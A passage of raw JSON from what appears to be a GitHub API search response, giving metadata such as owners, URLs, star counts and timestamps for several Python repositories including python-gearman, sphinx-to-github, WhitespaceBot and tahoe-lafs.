it","ssh_url":"git@github.com:coyotebush/github-network-analysis.git","clone_url":"https://github.com/coyotebush/github-network-analysis.git","svn_url":"https://github.com/coyotebush/github-network-analysis","homepage":"http://coyotebush.github.io/github-network-analysis/","size":2321,"stargazers_count":75,"watchers_count":75,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":4,"mirror_url":null,"open_issues_count":2,"forks":4,"open_issues":2,"watchers":75,"default_branch":"master","master_branch":"master","score":7.5912576},{"id":185554,"name":"python-gearman","full_name":"samuel/python-gearman","owner":{"login":"samuel","id":8503,"avatar_url":"https://avatars.githubusercontent.com/u/8503","gravatar_id":"f9aaf4c4a1728ef0f36a7f43c3e4e3e9","url":"https://api.github.com/users/samuel","html_url":"https://github.com/samuel","followers_url":"https://api.github.com/users/samuel/followers","following_url":"https://api.github.com/users/samuel/following{/other_user}","gists_url":"https://api.github.com/users/samuel/gists{/gist_id}","starred_url":"https://api.github.com/users/samuel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/samuel/subscriptions","organizations_url":"https://api.github.com/users/samuel/orgs","repos_url":"https://api.github.com/users/samuel/repos","events_url":"https://api.github.com/users/samuel/events{/privacy}","received_events_url":"https://api.github.com/users/samuel/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/samuel/python-gearman","description":"(maintenance transfered to http://github.com/Yelp/python-gearman) Gearman library for Python.","fork":false,"url":"https://api.github.com/repos/samuel/python-gearman","forks_url":"https://api.github.com/repos/samuel/python-gearman/forks","keys_url":"https://api.github.com/repos/samuel/python-gearman/keys{/key_id}","collaborators_url":"https://api.github.com/repos/samuel/python-gearman/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/samuel/python-gearman/teams","hooks_url":"https://api.github.com/repos/samuel/python-gearman/hooks","issue_events_url":"https://api.github.com/repos/samuel/python-gearman/issues/events{/number}","events_url":"https://api.github.com/repos/samuel/python-gearman/events","assignees_url":"https://api.github.com/repos/samuel/python-gearman/assignees{/user}","branches_url":"https://api.github.com/repos/samuel/python-gearman/branches{/branch}","tags_url":"https://api.github.com/repos/samuel/python-gearman/tags","blobs_url":"https://api.github.com/repos/samuel/python-gearman/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/samuel/python-gearman/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/samuel/python-gearman/git/refs{/sha}","trees_url":"https://api.github.com/repos/samuel/python-gearman/git/trees{/sha}","statuses_url":"https://api.github.com/repos/samuel/python-gearman/statuses/{sha}","languages_url":"https://api.github.com/repos/samuel/python-gearman/languages","stargazers_url":"https://api.github.com/repos/samuel/python-gearman/stargazers","contributors_url":"https://api.github.com/repos/samuel/python-gearman/contributors","subscribers_url":"https://api.github.com/repos/samuel/python-gearman/subscribers","subscription_url":"https://api.github.com/repos/samuel/python-gearman/subscription","commits_url":"https://api.github.com/repos/samuel/python-gearman/commits{/sha}","git_commits_url":"https://api.github.com/repos/samuel/python-gearman/git/commits{/sha}","comments_url":"https://api.github.com/repos/samuel/python-gearman/comments{/number}","issue_comment_url":"https://api.github.com/repos/samuel/python-gearman/issues/comments/{number}","contents_url":"https://api.github.com/repos/samuel/python-gearman/contents/{+path}","compare_url":"https://api.github.com/repos/samuel/python-gearman/compare/{base}...{head}","merges_url":"https://api.github.com/repos/samuel/python-gearman/merges","archive_url":"https://api.github.com/repos/samuel/python-gearman/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/samuel/python-gearman/downloads","issues_url":"https://api.github.com/repos/samuel/python-gearman/issues{/number}","pulls_url":"https://api.github.com/repos/samuel/python-gearman/pulls{/number}","milestones_url":"https://api.github.com/repos/samuel/python-gearman/milestones{/number}","notifications_url":"https://api.github.com/repos/samuel/python-gearman/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/samuel/python-gearman/labels{/name}","releases_url":"https://api.github.com/repos/samuel/python-gearman/releases{/id}","created_at":"2009-04-25T19:25:43Z","updated_at":"2013-12-18T01:26:25Z","pushed_at":"2012-09-07T17:14:37Z","git_url":"git://github.com/samuel/python-gearman.git","ssh_url":"git@github.com:samuel/python-gearman.git","clone_url":"https://github.com/samuel/python-gearman.git","svn_url":"https://github.com/samuel/python-gearman","homepage":"http://github.com/mtai/python-gearman","size":188,"stargazers_count":75,"watchers_count":75,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":17,"mirror_url":null,"open_issues_count":0,"forks":17,"open_issues":0,"watchers":75,"default_branch":"master","master_branch":"master","score":7.3417816},{"id":185320,"name":"sphinx-to-github","full_name":"michaeljones/sphinx-to-github","owner":{"login":"michaeljones","id":5390,"avatar_url":"https://avatars.githubusercontent.com/u/5390","gravatar_id":"f5cdf7d9c554d8dcfbe9c2c83bccb8a9","url":"https://api.github.com/users/michaeljones","html_url":"https://github.com/michaeljones","followers_url":"https://api.github.com/users/michaeljones/followers","following_url":"https://api.github.com/users/michaeljones/following{/other_user}","gists_url":"https://api.github.com/users/michaeljones/gists{/gist_id}","starred_url":"https://api.github.com/users/michaeljones/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michaeljones/subscriptions","organizations_url":"https://api.github.com/users/michaeljones/orgs","repos_url":"https://api.github.com/users/michaeljones/repos","events_url":"https://api.github.com/users/michaeljones/events{/privacy}","received_events_url":"https://api.github.com/users/michaeljones/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/michaeljones/sphinx-to-github","description":"Script to prepare Sphinx html output for github pages.","fork":false,"url":"https://api.github.com/repos/michaeljones/sphinx-to-github","forks_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/forks","keys_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/keys{/key_id}","collaborators_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/teams","hooks_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/hooks","issue_events_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/issues/events{/number}","events_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/events","assignees_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/assignees{/user}","branches_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/branches{/branch}","tags_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/tags","blobs_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/refs{/sha}","trees_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/trees{/sha}","statuses_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/statuses/{sha}","languages_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/languages","stargazers_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/stargazers","contributors_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/contributors","subscribers_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/subscribers","subscription_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/subscription","commits_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/commits{/sha}","git_commits_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/git/commits{/sha}","comments_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/comments{/number}","issue_comment_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/issues/comments/{number}","contents_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/contents/{+path}","compare_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/compare/{base}...{head}","merges_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/merges","archive_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/downloads","issues_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/issues{/number}","pulls_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/pulls{/number}","milestones_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/milestones{/number}","notifications_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/labels{/name}","releases_url":"https://api.github.com/repos/michaeljones/sphinx-to-github/releases{/id}","created_at":"2009-04-25T12:48:14Z","updated_at":"2013-12-03T17:05:36Z","pushed_at":"2013-10-26T00:39:13Z","git_url":"git://github.com/michaeljones/sphinx-to-github.git","ssh_url":"git@github.com:michaeljones/sphinx-to-github.git","clone_url":"https://github.com/michaeljones/sphinx-to-github.git","svn_url":"https://github.com/michaeljones/sphinx-to-github","homepage":"","size":140,"stargazers_count":72,"watchers_count":72,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":15,"mirror_url":null,"open_issues_count":1,"forks":15,"open_issues":1,"watchers":72,"default_branch":"master","master_branch":"master","score":14.550171},{"id":2252620,"name":"ST2-GitHubinator","full_name":"ehamiter/ST2-GitHubinator","owner":{"login":"ehamiter","id":634230,"avatar_url":"https://avatars.githubusercontent.com/u/634230","gravatar_id":"73c0faef06e3be0cef545cc5585fa582","url":"https://api.github.com/users/ehamiter","html_url":"https://github.com/ehamiter","followers_url":"https://api.github.com/users/ehamiter/followers","following_url":"https://api.github.com/users/ehamiter/following{/other_user}","gists_url":"https://api.github.com/users/ehamiter/gists{/gist_id}","starred_url":"https://api.github.com/users/ehamiter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ehamiter/subscriptions","organizations_url":"https://api.github.com/users/ehamiter/orgs","repos_url":"https://api.github.com/users/ehamiter/repos","events_url":"https://api.github.com/users/ehamiter/events{/privacy}","received_events_url":"https://api.github.com/users/ehamiter/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/ehamiter/ST2-GitHubinator","description":"Sublime Text 2 plugin that shows selected ST2 text on GitHub","fork":false,"url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator","forks_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/forks","keys_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/teams","hooks_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/hooks","issue_events_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/issues/events{/number}","events_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/events","assignees_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/assignees{/user}","branches_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/branches{/branch}","tags_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/tags","blobs_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/refs{/sha}","trees_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/statuses/{sha}","languages_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/languages","stargazers_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/stargazers","contributors_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/contributors","subscribers_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/subscribers","subscription_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/subscription","commits_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/commits{/sha}","git_commits_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/git/commits{/sha}","comments_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/comments{/number}","issue_comment_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/issues/comments/{number}","contents_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/contents/{+path}","compare_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/merges","archive_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/downloads","issues_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/issues{/number}","pulls_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/pulls{/number}","milestones_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/milestones{/number}","notifications_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/labels{/name}","releases_url":"https://api.github.com/repos/ehamiter/ST2-GitHubinator/releases{/id}","created_at":"2011-08-23T02:04:50Z","updated_at":"2014-01-03T16:58:01Z","pushed_at":"2013-09-09T18:14:32Z","git_url":"git://github.com/ehamiter/ST2-GitHubinator.git","ssh_url":"git@github.com:ehamiter/ST2-GitHubinator.git","clone_url":"https://github.com/ehamiter/ST2-GitHubinator.git","svn_url":"https://github.com/ehamiter/ST2-GitHubinator","homepage":"","size":100,"stargazers_count":71,"watchers_count":71,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":16,"mirror_url":null,"open_issues_count":3,"forks":16,"open_issues":3,"watchers":71,"default_branch":"master","master_branch":"master","score":10.001726},{"id":2207040,"name":"WhitespaceBot","full_name":"Miserlou/WhitespaceBot","owner":{"login":"Miserlou","id":139987,"avatar_url":"https://avatars.githubusercontent.com/u/139987","gravatar_id":"7ad8f46407b45f1a2925333c7837a1f1","url":"https://api.github.com/users/Miserlou","html_url":"https://github.com/Miserlou","followers_url":"https://api.github.com/users/Miserlou/followers","following_url":"https://api.github.com/users/Miserlou/following{/other_user}","gists_url":"https://api.github.com/users/Miserlou/gists{/gist_id}","starred_url":"https://api.github.com/users/Miserlou/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Miserlou/subscriptions","organizations_url":"https://api.github.com/users/Miserlou/orgs","repos_url":"https://api.github.com/users/Miserlou/repos","events_url":"https://api.github.com/users/Miserlou/events{/privacy}","received_events_url":"https://api.github.com/users/Miserlou/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/Miserlou/WhitespaceBot","description":"Making GitHub Better.. With Robots","fork":false,"url":"https://api.github.com/repos/Miserlou/WhitespaceBot","forks_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/forks","keys_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/teams","hooks_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/hooks","issue_events_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/issues/events{/number}","events_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/events","assignees_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/assignees{/user}","branches_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/branches{/branch}","tags_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/tags","blobs_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/refs{/sha}","trees_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/statuses/{sha}","languages_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/languages","stargazers_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/stargazers","contributors_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/contributors","subscribers_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/subscribers","subscription_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/subscription","commits_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/commits{/sha}","git_commits_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/git/commits{/sha}","comments_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/comments{/number}","issue_comment_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/issues/comments/{number}","contents_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/contents/{+path}","compare_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/merges","archive_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/downloads","issues_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/issues{/number}","pulls_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/pulls{/number}","milestones_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/milestones{/number}","notifications_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/labels{/name}","releases_url":"https://api.github.com/repos/Miserlou/WhitespaceBot/releases{/id}","created_at":"2011-08-14T22:00:27Z","updated_at":"2014-01-03T07:45:01Z","pushed_at":"2011-10-31T17:57:47Z","git_url":"git://github.com/Miserlou/WhitespaceBot.git","ssh_url":"git@github.com:Miserlou/WhitespaceBot.git","clone_url":"https://github.com/Miserlou/WhitespaceBot.git","svn_url":"https://github.com/Miserlou/WhitespaceBot","homepage":"http://gun.io","size":106,"stargazers_count":68,"watchers_count":68,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":19,"mirror_url":null,"open_issues_count":6,"forks":19,"open_issues":6,"watchers":68,"default_branch":"master","master_branch":"master","score":12.626783},{"id":542285,"name":"mirosubs","full_name":"8planes/mirosubs","owner":{"login":"8planes","id":213626,"avatar_url":"https://avatars.githubusercontent.com/u/213626","gravatar_id":"453d80be8ba0d907fff185d806cff8ac","url":"https://api.github.com/users/8planes","html_url":"https://github.com/8planes","followers_url":"https://api.github.com/users/8planes/followers","following_url":"https://api.github.com/users/8planes/following{/other_user}","gists_url":"https://api.github.com/users/8planes/gists{/gist_id}","starred_url":"https://api.github.com/users/8planes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/8planes/subscriptions","organizations_url":"https://api.github.com/users/8planes/orgs","repos_url":"https://api.github.com/users/8planes/repos","events_url":"https://api.github.com/users/8planes/events{/privacy}","received_events_url":"https://api.github.com/users/8planes/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/8planes/mirosubs","description":"The Universal Subtitles repo has moved! Please visit us at https://github.com/pculture/unisubs","fork":false,"url":"https://api.github.com/repos/8planes/mirosubs","forks_url":"https://api.github.com/repos/8planes/mirosubs/forks","keys_url":"https://api.github.com/repos/8planes/mirosubs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/8planes/mirosubs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/8planes/mirosubs/teams","hooks_url":"https://api.github.com/repos/8planes/mirosubs/hooks","issue_events_url":"https://api.github.com/repos/8planes/mirosubs/issues/events{/number}","events_url":"https://api.github.com/repos/8planes/mirosubs/events","assignees_url":"https://api.github.com/repos/8planes/mirosubs/assignees{/user}","branches_url":"https://api.github.com/repos/8planes/mirosubs/branches{/branch}","tags_url":"https://api.github.com/repos/8planes/mirosubs/tags","blobs_url":"https://api.github.com/repos/8planes/mirosubs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/8planes/mirosubs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/8planes/mirosubs/git/refs{/sha}","trees_url":"https://api.github.com/repos/8planes/mirosubs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/8planes/mirosubs/statuses/{sha}","languages_url":"https://api.github.com/repos/8planes/mirosubs/languages","stargazers_url":"https://api.github.com/repos/8planes/mirosubs/stargazers","contributors_url":"https://api.github.com/repos/8planes/mirosubs/contributors","subscribers_url":"https://api.github.com/repos/8planes/mirosubs/subscribers","subscription_url":"https://api.github.com/repos/8planes/mirosubs/subscription","commits_url":"https://api.github.com/repos/8planes/mirosubs/commits{/sha}","git_commits_url":"https://api.github.com/repos/8planes/mirosubs/git/commits{/sha}","comments_url":"https://api.github.com/repos/8planes/mirosubs/comments{/number}","issue_comment_url":"https://api.github.com/repos/8planes/mirosubs/issues/comments/{number}","contents_url":"https://api.github.com/repos/8planes/mirosubs/contents/{+path}","compare_url":"https://api.github.com/repos/8planes/mirosubs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/8planes/mirosubs/merges","archive_url":"https://api.github.com/repos/8planes/mirosubs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/8planes/mirosubs/downloads","issues_url":"https://api.github.com/repos/8planes/mirosubs/issues{/number}","pulls_url":"https://api.github.com/repos/8planes/mirosubs/pulls{/number}","milestones_url":"https://api.github.com/repos/8planes/mirosubs/milestones{/number}","notifications_url":"https://api.github.com/repos/8planes/mirosubs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/8planes/mirosubs/labels{/name}","releases_url":"https://api.github.com/repos/8planes/mirosubs/releases{/id}","created_at":"2010-03-02T02:55:02Z","updated_at":"2014-02-16T03:40:17Z","pushed_at":"2011-08-30T19:10:16Z","git_url":"git://github.com/8planes/mirosubs.git","ssh_url":"git@github.com:8planes/mirosubs.git","clone_url":"https://github.com/8planes/mirosubs.git","svn_url":"https://github.com/8planes/mirosubs","homepage":"","size":67902,"stargazers_count":66,"watchers_count":66,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":15,"mirror_url":null,"open_issues_count":12,"forks":15,"open_issues":12,"watchers":66,"default_branch":"master","master_branch":"master","score":6.8096685},{"id":988599,"name":"tahoe-lafs","full_name":"warner/tahoe-lafs","owner":{"login":"warner","id":27146,"avatar_url":"https://avatars.githubusercontent.com/u/27146","gravatar_id":"44c17de889031c70e118b5d9a724b8cc","url":"https://api.github.com/users/warner","html_url":"https://github.com/warner","followers_url":"https://api.github.com/users/warner/followers","following_url":"https://api.github.com/users/warner/following{/other_user}","gists_url":"https://api.github.com/users/warner/gists{/gist_id}","starred_url":"https://api.github.com/users/warner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/warner/subscriptions","organizations_url":"https://api.github.com/users/warner/orgs","repos_url":"https://api.github.com/users/warner/repos","events_url":"https://api.github.com/users/warner/events{/privacy}","received_events_url":"https://api.github.com/users/warner/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/warner/tahoe-lafs","description":"The Tahoe-LAFS decentralized secure filesystem. https://github.com/tahoe-lafs/tahoe-lafs is the master.","fork":false,"url":"https://api.github.com/repos/warner/tahoe-lafs","forks_url":"https://api.github.com/repos/warner/tahoe-lafs/forks","keys_url":"https://api.github.com/repos/warner/tahoe-lafs/keys{/key_id}","collaborators_url":"https://api.github.com/repos/warner/tahoe-lafs/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/warner/tahoe-lafs/teams","hooks_url":"https://api.github.com/repos/warner/tahoe-lafs/hooks","issue_events_url":"https://api.github.com/repos/warner/tahoe-lafs/issues/events{/number}","events_url":"https://api.github.com/repos/warner/tahoe-lafs/events","assignees_url":"https://api.github.com/repos/warner/tahoe-lafs/assignees{/user}","branches_url":"https://api.github.com/repos/warner/tahoe-lafs/branches{/branch}","tags_url":"https://api.github.com/repos/warner/tahoe-lafs/tags","blobs_url":"https://api.github.com/repos/warner/tahoe-lafs/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/warner/tahoe-lafs/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/warner/tahoe-lafs/git/refs{/sha}","trees_url":"https://api.github.com/repos/warner/tahoe-lafs/git/trees{/sha}","statuses_url":"https://api.github.com/repos/warner/tahoe-lafs/statuses/{sha}","languages_url":"https://api.github.com/repos/warner/tahoe-lafs/languages","stargazers_url":"https://api.github.com/repos/warner/tahoe-lafs/stargazers","contributors_url":"https://api.github.com/repos/warner/tahoe-lafs/contributors","subscribers_url":"https://api.github.com/repos/warner/tahoe-lafs/subscribers","subscription_url":"https://api.github.com/repos/warner/tahoe-lafs/subscription","commits_url":"https://api.github.com/repos/warner/tahoe-lafs/commits{/sha}","git_commits_url":"https://api.github.com/repos/warner/tahoe-lafs/git/commits{/sha}","comments_url":"https://api.github.com/repos/warner/tahoe-lafs/comments{/number}","issue_comment_url":"https://api.github.com/repos/warner/tahoe-lafs/issues/comments/{number}","contents_url":"https://api.github.com/repos/warner/tahoe-lafs/contents/{+path}","compare_url":"https://api.github.com/repos/warner/tahoe-lafs/compare/{base}...{head}","merges_url":"https://api.github.com/repos/warner/tahoe-lafs/merges","archive_url":"https://api.github.com/repos/warner/tahoe-lafs/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/warner/tahoe-lafs/downloads","issues_url":"https://api.github.com/repos/warner/tahoe-lafs/issues{/number}","pulls_url":"https://api.github.com/repos/warner/tahoe-lafs/pulls{/number}","milestones_url":"https://api.github.com/repos/warner/tahoe-lafs/milestones{/number}","notifications_url":"https://api.github.com/repos/warner/tahoe-lafs/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/warner/tahoe-lafs/labels{/name}","releases_url":"https://api.github.com/repos/warner/tahoe-lafs/releases{/id}","created_at":"2010-10-14T23:57:29Z","updated_at":"2013-12-29T13:45:08Z","pushed_at":"2013-11-12T01:26:53Z","git_url":"git://github.com/warner/tahoe-lafs.git","ssh_url":"git@github.com:warner/tahoe-lafs.git","clone_url":"https://github.com/warner/tahoe-lafs.git","svn_url":"https://github.com/warner/tahoe-lafs","homepage":"http://tahoe-lafs.org/","size":62557,"stargazers_count":62,"watchers_count":62,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":79,"mirror_url":null,"open_issues_count":2,"forks":79,"open_issues":2,"watchers":62,"default_branch":"master","master_branch":"master","score":10.669004},{"id":734654,"name":"twitter-text-py","full_name":"dryan/twitter-text-py","owner":{"login":"dryan","id":15066,"avatar_url":"https://avatars.githubusercontent.com/u/15066","gravatar_id":"f110c4153d9c4b1002e8fa49183ac761","url":"https://api.github.com/users/dryan","html_url":"https://github.com/dryan","followers_url":"https://api.github.com/users/dryan/followers","following_url":"https://api.github.com/users/dryan/following{/other_user}","gists_url":"https://api.github.com/users/dryan/gists{/gist_id}","starred_url":"https://api.github.com/users/dryan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dryan/subscriptions","organizations_url":"https://api.github.com/users/dryan/orgs","repos_url":"https://api.github.com/users/dryan/repos","events_url":"https://api.github.com/users/dryan/events{/privacy}","received_events_url":"https://api.github.com/users/dryan/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/dryan/twitter-text-py","description":"a python port of https://github.com/twitter/twitter-text-rb also available via `pip install twitter_text`","fork":false,"url":"https://api.github.com/repos/dryan/twitter-text-py","forks_url":"https://api.github.com/repos/dryan/twitter-text-py/forks","keys_url":"https://api.github.com/repos/dryan/twitter-text-py/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dryan/twitter-text-py/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dryan/twitter-text-py/teams","hooks_url":"https://api.github.com/repos/dryan/twitter-text-py/hooks","issue_events_url":"https://api.github.com/repos/dryan/twitter-text-py/issues/events{/number}","events_url":"https://api.github.com/repos/dryan/twitter-text-py/events","assignees_url":"https://api.github.com/repos/dryan/twitter-text-py/assignees{/user}","branches_url":"https://api.github.com/repos/dryan/twitter-text-py/branches{/branch}","tags_url":"https://api.github.com/repos/dryan/twitter-text-py/tags","blobs_url":"https://api.github.com/repos/dryan/twitter-text-py/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dryan/twitter-text-py/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dryan/twitter-text-py/git/refs{/sha}","trees_url":"https://api.github.com/repos/dryan/twitter-text-py/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dryan/twitter-text-py/statuses/{sha}","languages_url":"https://api.github.com/repos/dryan/twitter-text-py/languages","stargazers_url":"https://api.github.com/repos/dryan/twitter-text-py/stargazers","contributors_url":"https://api.github.com/repos/dryan/twitter-text-py/contributors","subscribers_url":"https://api.github.com/repos/dryan/twitter-text-py/subscribers","subscription_url":"https://api.github.com/repos/dryan/twitter-text-py/subscription","commits_url":"https://api.github.com/repos/dryan/twitter-text-py/commits{/sha}","git_commits_url":"https://api.github.com/repos/dryan/twitter-text-py/git/commits{/sha}","comments_url":"https://api.github.com/repos/dryan/twitter-text-py/comments{/number}","issue_comment_url":"https://api.github.com/repos/dryan/twitter-text-py/issues/comments/{number}","contents_url":"https://api.github.com/repos/dryan/twitter-text-py/contents/{+path}","compare_url":"https://api.github.com/repos/dryan/twitter-text-py/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dryan/twitter-text-py/merges","archive_url":"https://api.github.com/repos/dryan/twitter-text-py/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dryan/twitter-text-py/downloads","issues_url":"https://api.github.com/repos/dryan/twitter-text-py/issues{/number}","pulls_url":"https://api.github.com/repos/dryan/twitter-text-py/pulls{/number}","milestones_url":"https://api.github.com/repos/dryan/twitter-text-py/milestones{/number}","notifications_url":"https://api.github.com/repos/dryan/twitter-text-py/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dryan/twitter-text-py/labels{/name}","releases_url":"https://api.github.com/repos/dryan/twitter-text-py/releases{/id}","created_at":"2010-06-22T21:29:21Z","updated_at":"2014-01-16T14:48:12Z","pu